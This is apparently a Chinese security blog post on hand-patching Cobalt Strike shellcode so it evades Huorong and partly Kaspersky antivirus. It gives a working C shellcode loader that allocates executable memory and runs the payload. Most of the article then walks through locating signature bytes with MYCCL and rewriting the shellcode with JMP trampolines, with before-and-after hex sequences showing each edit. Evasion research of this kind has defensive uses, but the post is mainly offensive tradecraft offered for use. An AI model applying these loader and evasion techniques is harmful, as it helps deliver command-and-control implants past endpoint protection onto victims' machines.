WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

手搓一个免杀

继上次改shellcode被打爆后,把基础汇编学的差不多了,现在再来和火绒solo一下

0x01 前置知识

CS给出的shellcode里面的CALL和JMP转移时候的机器码用的都是偏移量, 只要算好偏移不用担心跳转不到地址

本来这个在8086汇编里面写过的但是那文章好像..不见了..

没事重新提一下,先来看两条汇编语句和对应的机器码

1
2
3
4
5
mov eax,12345678	机器码:B878563412

jmp 0040105F 机器码:EB0D ;EIP:00401050 40105F-401050=F F-2=D

为啥F要减2,因为EBD0占两个字节所以要-2

可以看出mov的机器码里面要会有值,但是jmp直接使用偏移

0x02 开始手搓

首先还是要生成一个木马,就用最简单的加载器

1
2
3
4
5
6
7
8
9
#include<stdio.h>
#include<Windows.h>
int main() {
unsigned char buf[] = "shellcode";
LPVOID address = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(address, buf, sizeof(buf));
((void(*)())address)();
return 0;
}

这样写生成的shellcode肯定会在PE的.data段里面,把生成的shellcode写入编译好后就可以开始测了

32位shellcode开头:\xFC\x89

64位shellcode开头:\xFC\x48

肯定都是重点查杀对象先把这个搓掉,这次只写32位的,64位的师傅们可以自己测试一下

FC对应的汇编指令是cld,这个指令是用来改变DF标志位的,不用管

先用jmp跳到最下面,然后在跳回来

可以看到CLD只占一个字节

JMP需要五个字节,所以必会把下面那个CALL也覆盖掉,所以下面记得补上这个CALL

翻到最下面把这两条语句补上,记住这里的地址,要把上面的是修改成JMP 930321

还有一点就是可以看到两个CALL虽然都是到同一个地址,但是机器码不一样,就是和上面提到的CALL也是用偏移来跳转的

现在想起之前写的记一次失败的shellcode免杀,没想到随便加NOP那段shellcode没崩掉,也是运气好

CLD+CALL用了六个字节,JMP只需要五个字节,所以多的一个用NOP填充

现在FCE8已经改好了

1
2
3
4
5
6
7
原来的shellcode

\xfc\xe8\x89\x00\x00\x00.......\x34\x56\x78

现在的shellcode

\xe9\x1c\x03\x00\x00\x90.......\x34\x56\x78\x00\xfc\xe8\x68\xfd\xff\xff\xe9\xd9\xfc\xff\xff

重新编译一下顺便看看能不能用,每次修改都要看看能不能使用

可以看到火绒还是直接爆出了CS的特征,说明shellcode里面有特征码没有消除

直接用MYCCL,过程就不重复了,可以看MYCCL使用方法那篇

得到特征码048B

现在去找一下对应的汇编指令

1
mov eax, dword ptr ds:[ebx+ecx*4] -> 8b048b

这里同样可以使用JMP跳到底部再回来,JMP需要五个字节所以会把下面那个也覆盖掉,要在下面补上

跳到底部做运算

现在再次修改shellcode

1
2
3
.....\x8B\x04\x8B\x01\xD0...\xe9\xd9\xfc\xff\xff

.....\xe9\xb0\x02\x00\x00...\xe9\xd9\xfc\xff\xff\x8B\x04\x8B\x01\xD0\xe9\x46\xfd\xff\xff

改了这个还是可以被火绒查到,继续找特征码修改特征

这次找到了\xff\xd5,这个在第一次尝试修改的时候就容易被查,对应的代码是CALL EBP

整个shellcode里面有很多\xff\xd5,这次要找的是\x57\x57\x57\x57\x57上面的那个

同样的跳到最底部再回来

这次选择覆盖上面的指令push 0x726774C,因为下一条指令也是两个字节不够五个字节,这样还要多覆盖一条太麻烦,所以就选上面这条了,顺便说一下push 0x726774C这条是卡巴斯基的特征码,估计是指向什么函数指针,只是简单的看了一下具体不知道

1
2
3
.....\x68\x4c\x77\x26\x07\xff\xd5.....\xe9\x46\xfd\xff\xff

.....\xe9\x96\x02\x00\x00\x90\x90.....\xe9\x46\xfd\xff\xff\x68\x4c\x77\x26\x07\xff\xd5\xe9\x60\xfd\xff\xff

图就不贴了和上面一样的

这次修改好之后火绒报了一个混淆器

说明shellcode的特征已经被改掉了,火绒已经识别不出来了

再次用MYCCL寻找特征码,PE文件200C的位置发现一个01,看了一下应该是没用的数据,不知道为什么会报毒,改为00后成功免杀并不影响使用

0x03 总结

优点:针对性强,而且可以不需要写复杂的加载器

缺点:修改复杂并且不通用,每个shellcode都要改一下,毕竟长度不一样偏移也不一样

后面也不一定要修改PE文件200C的位置, 继续修改shellcode还是能免杀的,主要还是修改push 0x726774C,当时想这样过卡巴斯基的,无奈卡巴还有流量检测,光修改特征码还是不太够,不过修改之后静态检测还是可以过的,拿出来也可以直接过火绒,不需要修改PE文件

说回来当时shellcode改完之后放到卡巴里面找特征码找到了两个

CALL ESP这个记得不是很清楚了

push 0x726774C这个很清楚,因为对684C特征码管很严